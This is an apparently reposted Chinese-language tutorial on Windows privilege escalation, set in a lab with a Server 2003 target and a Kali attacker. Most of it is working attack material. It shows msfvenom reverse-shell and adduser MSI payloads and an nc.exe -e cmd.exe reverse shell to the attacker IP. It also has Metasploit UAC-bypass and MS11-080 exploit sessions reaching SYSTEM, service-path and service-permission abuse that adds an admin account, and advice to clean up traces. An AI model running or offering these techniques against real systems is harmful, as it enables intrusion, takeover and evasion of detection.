
本文參考自冷逸大佬的博客,源地址在這里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/
windows提權
windows下的權限:
- user - administrator - system
一些常用命令:
systeminfo | findstr OS #獲取系統版本信息 hostname #獲取主機名稱 whomai /priv #顯示當前用戶的安全特權 quser or query user #獲取在線用戶 netstat -ano | findstr 3389 #獲取rdp連接來源IP dir c:\programdata\ #分析安裝殺軟 wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安裝的補丁 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #獲取遠程端口 tasklist /svc | find "TermService" + netstat -ano #獲取遠程端口
windows 2003,xp
現在03的機器已經很少了,所以現在只是簡單的說一些常見的思路,操作,第三方之類的除外
實驗環境:
windows 2003:192.168.0.105
kali : 192.168.0.107
首先生成個木馬:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe
如果有waf,生成的木馬文件會被刪除,可以使用veil生成免殺馬,當然如果只是為了反彈shell,也可以上傳一個nc.exe,在目標服務器上執行nc正向連接:
nc.exe -e cmd.exe 192.168.0.107 4444
nc shell反彈成功后:

msf shell反彈成功后,查看當前權限
![]()
windows2003 可以直接 getsystem提權

提權失敗,一般可能是uac的問題,嘗試bypass uac
- use exploit/windows/local/ask
msf5 exploit(multi/handler) > use exploit/windows/local/ask msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME no File name on disk PATH no Location on disk, %TEMP% used if not set SESSION yes The session to run this module on. TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Exploit target: Id Name -- ----
0 Windows msf5 exploit(windows/local/ask) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe [-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'. TECHNIQUE => EXE msf5 exploit(windows/local/ask) > set TECHNIQUE EXE TECHNIQUE => EXE msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ask) > set lhost 192.168.0.107 lhost => 192.168.0.107 msf5 exploit(windows/local/ask) > show options Module options (exploit/windows/local/ask): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME no File name on disk PATH no Location on disk, %TEMP% used if not set SESSION 2 yes The session to run this module on. TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.107 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ----
0 Windows msf5 exploit(windows/local/ask) > sessions -i Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ----------
1 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1032 (192.168.0.105) 2 meterpreter x86/windows SERVER-816F6090\xiaoming @ SERVER-816F6090 192.168.0.107:4444 -> 192.168.0.105:1033 (192.168.0.105) msf5 exploit(windows/local/ask) > exploit [*] Started reverse TCP handler on 192.168.0.107:4444 [+] UAC is not enabled, no prompt for the user [*] Uploading VerOkoVbPk.exe - 73802 bytes to the filesystem... [*] Executing Command!
或者
- use exploit/windows/local/bypassuac
- use exploit/windows/local/bypassuac_injection
使用漏洞提權
meterpreter > run post/windows/gather/enum_patches [+] KB2871997 is missing [+] KB2928120 is missing [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86) [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008 [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2 [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1 [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
以ms11-080為例
msf5 > use exploit/windows/local/ms11_080_afdjoinleaf msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options Module options (exploit/windows/local/ms11_080_afdjoinleaf): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Exploit target: Id Name -- ----
0 Automatic msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION 2 SESSION => 2 msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run [*] Started reverse TCP handler on 192.168.0.107:4444 [*] Running against Windows Server 2003 SP2 [*] HaliQuerySystemInformation Address: 0x80a6ba1e [*] HalpSetSystemInformation Address: 0x80a6dc60 [*] Triggering AFDJoinLeaf pointer overwrite... [*] Injecting the payload into SYSTEM process: winlogon.exe [*] Sending stage (179779 bytes) to 192.168.0.105 [*] Restoring the original token... [*] Meterpreter session 3 opened (192.168.0.107:4444 -> 192.168.0.105:1035) at 2019-05-13 21:26:33 +0800 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
提權成功
![]()
at命令提權
在 Windows2000、Windows 2003、Windows XP 這三類系統中,我們可以輕松將Administrators 組下的用戶權限提升到 SYSTEM
at 是一個發布定時任務計划的命令行工具,語法比較簡單。通過 at 命令發布的定時任務計划, Windows 默認以 SYSTEM 權限運行。定時任務計划可以是批處理、
可以是一個二進制文件。
語法:at 時間 命令 例子:at 10:45PM calc.exe
該命令會發布一個定時任務計划,在每日的 10:45 啟動 calc.exe。
我們可以通過 “/interactive”開啟界面交互模式:
at 10:45PM /interactive calc.exe

在得到一個system的cmd之后,使用taskmgr命令調用任務管理器,此時的任務管理器是system權限,然后kill掉explore進程,
再使用任務管理器新建explore進程,將會得到一個system的桌面環境

at配合msf提權
可以采用 Regsvr32 一條命令上線
msf下配置

cmd下執行

等待上線
可是這里一般會出現問題..


然后我們也可以選擇上線木馬的方式來獲取shell
等待上線

上線后為system

windows 7,8,12,16
SC命令提權
ps:經測試03也可以
關於sc命令:
SC 是用於與服務控制管理器和服務進行通信的命令行程序。提供的功能類似於“控制面板”中“管理工具”項中的“服務”。
創建一個名叫syscmd的新的交互式的cmd服務:
SC Create syscmd binPath= "cmd /K start" type= own type= interact
然后執行:
sc start systcmd
就得到了一個system權限的cmd環境

通過不帶引號的服務路徑
當系統管理員配置Windows服務時,他們必須指定要執行的命令,或者運行可執行文件的路徑。
當Windows服務運行時,會發生以下兩種情況之一。如果給出了可執行文件,並且引用了完整路徑,則系統會按字面解釋它並執行。但是,如果服務的二進制路徑未包含在引號中,則操作系統將會執行找到的空格分隔的服務路徑的第一個實例。
這可能有點不直觀,所以讓我們來看一個實際的例子。假設服務配置類似於以下存在bug的示例服務:

Windows命令解釋程序可能會遇到名稱中的空格,並且希望通過將字符串包裝在引號中來對它們進行轉義。在上面的示例中,如果系統運行該服務,它將嘗試運行以下可執行文件:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
所以如果我們能夠上傳一個適當命名的惡意可執行程序在受影響的目錄,服務一旦重啟,我們的惡意程序就會以system權限運行(大多數情況下)。
我們可以使用以下命令查看錯誤配置的路徑
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

這里我們枚舉出下列路徑:
C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe
這個路徑沒有被雙引號包裹,而且文件名中也存在空格。
現在,我們需要使用下列命令識別文件目錄權限,判斷是否有寫入權限:
icacls C:\Program Files (x86)\Cisco
(M)代表修改權限,(F)代表完全控制,(CI)代表從屬容器將繼承訪問控制項,(OI)代表從屬文件將繼承訪問控制項。
如果它給任何人提供了寫入權限,這也就意味着任何用戶都可以重寫該文件
將我們需要執行的exe根據需要重命名並放置在可寫入的有漏洞目錄下,然后運行如下命令嘗試重啟服務,如果失敗的話等待服務器重啟時執行exe,成功提權后記得清理痕跡。

重啟機器:
sc stop service_name
sc start service_name
假如我們的exe會彈回一個SYSTEM權限的meterpreter shell,但是我們新得到的會話很快就中斷了。這是因為當一個服務在Windows系統中啟動后,它必須和服務控制管理器通信。如果沒有通信,服務控制管理器會認為出現了錯誤,並會終止這個進程。我們所有需要做的就是在終止載荷進程之前,將它遷移到其它進程,也可以使用自動遷移:
set AutoRunScript migrate -f
此外msf下已經集成了該模塊(exploit/windows/local/trusted_service_path )

不過不太好用...
不安全的服務權限
Windows系統服務文件在操作系統啟動時會加載執行,並且在后台調用可執行文件。比如,JAVA升級程序,每次重啟系統時,JAVA升級程序會檢測Oracle網站,是否有新版JAVA程序。而類似JAVA程序之類的系統服務程序加載時往往都是運行在系統權限上的。所以如果一個低權限的用戶對於此類系統服務調用的可執行文件具有可寫的權限,那么就可以將其替換成我們的惡意可執行文件,從而隨着系統啟動服務而獲得系統權限。
metasploit集成了漏洞利用模塊exploit/windows/local/service_permissions。
1.檢查易受攻擊的服務.SERVICE_ALL_ACCESS的意思是我們對“Vulnerable Service”的屬性擁有完全控制權。
accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "user" *
2.查看可以完全控制的服務的屬性:
sc qc "Service"

3.修改服務配置執行命令。BINARY_PATH_NAME參數指向了該服務的可執行程序(PFNET)路徑。如果我們將這個值修改成任何命令,那意味着這個命令在該服務下一次啟動時,將會以SYSTEM權限運行。
sc config PFNET binpath= "net user rottenadmin P@ssword123! /add" sc stop PFNET sc start PFNET
sc config PFNET binpath= "net localgroup rottenadmin P@ssword123! /add" sc stop PFNET sc start PFNET
當嘗試啟動服務時,它會返回一個錯誤。這一點我們之前已經討論過了,在Windows系統中,當一個服務在Windows系統中啟動后,它必須和服務控制管理器通信。如果沒有通信,服務控制管理器會認為出現了錯誤,並會終止這個進程。上面的“net user”肯定是無法和服務管理器通信的,但是不用擔心,我們的命令已經以SYSTEM權限運行了,並且成功添加了一個用戶。
4.提權成功后修改服務配置,清理痕跡。
任意用戶以NT AUTHORITY\SYSTEM權限安裝msi
AlwaysInstallElevated是一個策略設置,允許非管理用戶以SYSTEM權限運行Microsoft Windows安裝程序包(.MSI文件)的設置。默認情況下禁用此設置,需系統管理員手動啟用他,當在系統中使用Windows Installer安裝任何程序時,該參數允許非特權用戶以system權限運行MSI文件。如果目標系統上啟用了這一設置,我們可以使用msf生成msi文件來以system權限執行任意payload。
可以通過查詢以下注冊表來識別此設置,當兩個注冊表鍵值查詢結果均為1時,代表該策略已啟用。:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
詳細利用步驟如下:
使用reg query命令查詢是否存在漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果存在漏洞,上面將輸出以下內容

如果系統沒這個漏洞,它將輸出錯誤
C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ERROR: The system was unable to find the specified registry key or value.
然后我們使用msfvenom生成msi文件,進行提權
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
然后使用
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
即可

另附參考鏈接:
提權系列(一)----Windows Service 服務器提權初識與exp提權,mysql提權
提權系列(二)----Windows Service 服務器提權之Mssql提權,GetPass提權,hash提權,LPK提權
